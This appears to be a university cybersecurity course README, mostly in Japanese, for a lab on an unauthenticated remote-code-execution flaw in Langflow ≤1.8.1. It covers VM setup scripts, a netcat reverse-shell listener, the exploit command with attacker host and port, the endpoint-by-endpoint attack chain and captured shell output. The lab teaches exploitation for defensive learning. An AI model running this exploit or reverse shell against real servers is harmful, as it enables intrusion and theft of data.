
教育用ラボ。CVE-2026-33017を介したLangflowの未認証RCEを実演し、自動VMセットアップとリバースシェル用のPoCエクスプロイトを備えています。
HoGent CyberSecurity II — ネットワークペネトレーションテスト&エクスプロイテーション(NPE)
2025–2026年度
このリポジトリには、Langflow ≤ 1.8.1 における重大な未認証リモートコード実行(RCE)脆弱性である CVE-2026-33017 の完全なラボ環境とエクスプロイト実証が含まれています。
攻撃者は認証なしで、/api/v1/build_public_tmp/{flow_id}/flow エンドポイントを介してサーバー上で任意のPythonコードを実行できます。これは、ユーザー入力がサンドボックス化や検証なしにPythonの exec() に直接渡されるためです。
⚠️ 免責事項: このリポジトリは、管理されたラボ環境での教育目的のみを対象としています。明示的な許可を得たシステムでのみ使用してください。
┌─────────────────────────────────────────────────────┐
│ HOST MACHINE │
│ │
│ ┌──────────────────┐ ┌───────────────────────┐ │
│ │ Langflow-Victim │ │ Kali-Attacker │ │
│ │ Ubuntu 22.04 │ │ Kali Linux │ │
│ │ 192.168.56.101 │◄────│ 192.168.56.100 │ │
│ │ Langflow 1.8.1 │ │ PoC exploit tool │ │
│ │ port 7860 │ │ + internet (NAT) │ │
│ └──────────────────┘ └───────────────────────┘ │
│ Host-only netwerk: 192.168.56.0/24 │
└─────────────────────────────────────────────────────┘
CVE-2026-33017/
├── README.md # Dit bestand
├── LICENSE
├── .gitignore
├── docs/
│ └── stappenplan.md # Volledige deployment & aanvalsgids
└── scripts/
├── setup_vms.sh # Fase 1: VirtualBox VMs aanmaken (HOST)
├── setup_victim.sh # Fase 2: Langflow 1.8.1 installeren (Ubuntu VM)
└── setup_attacker.sh # Fase 3: PoC tool installeren (Kali VM)
VBoxManage を含む VirtualBox 7.xUbuntu_22.04-VB-64bit.vdi → ubuntu-22.04.vdi にリネームKali_Linux-VB-64bit.vdi → kali-linux.vdi にリネームsetup_vms.sh と同じディレクトリに配置bash scripts/setup_vms.sh
# ログイン情報: osboxes / osboxes.org
sudo bash scripts/setup_victim.sh
# ログイン情報: osboxes / osboxes.org
sudo bash scripts/setup_attacker.sh
ターミナル1 — リバースシェルリスナー:
nc -lvnp 4444
ターミナル2 — エクスプロイト:
cd ~/CVE-2026-33017-Langflow-RCE-PoC
source venv/bin/activate
python3 cve-2026-33017.py 192.168.56.101 --shell \
--lhost 192.168.56.100 --lport 4444
PoCは
setup_attacker.shによって自動的にインストールされます。
使用PoC: omer-efe-curkus/CVE-2026-33017-Langflow-RCE-PoC
| ステップ | エンドポイント | 説明 |
|---|---|---|
| 1 | GET /api/v1/auto_login | スーパーユーザーJWTトークンを取得(AUTO_LOGIN=true) |
| 2 | POST /api/v1/flows/ | API経由で新しいパブリックフローを作成 |
| 3 | POST /api/v1/build_public_tmp/{id}/flow | 悪意のあるPythonコードを含む CustomComponent を注入 |
| 4 | validate.py:397 の exec() | コードがサンドボックスなしで実行される — RCE |
[] Fetching access token... [+] Public Flow ID created: 11571add-6416-4226-b8e6-844202cce6ff [] Sending reverse shell to connect back to 192.168.56.100:4444
Listener (Terminal 1): connect to [192.168.56.100] from (UNKNOWN) [192.168.56.101] 36160 $ whoami user $ hostname e37190a2f147 $ find /app -name "*.db" /app/.venv/lib/python3.12/site-packages/langflow/langflow.db
data パラメータを削除LANGFLOW_AUTO_LOGIN を無効化HoGent — Toegepaste Informatica — CyberSecurity II — 2025–2026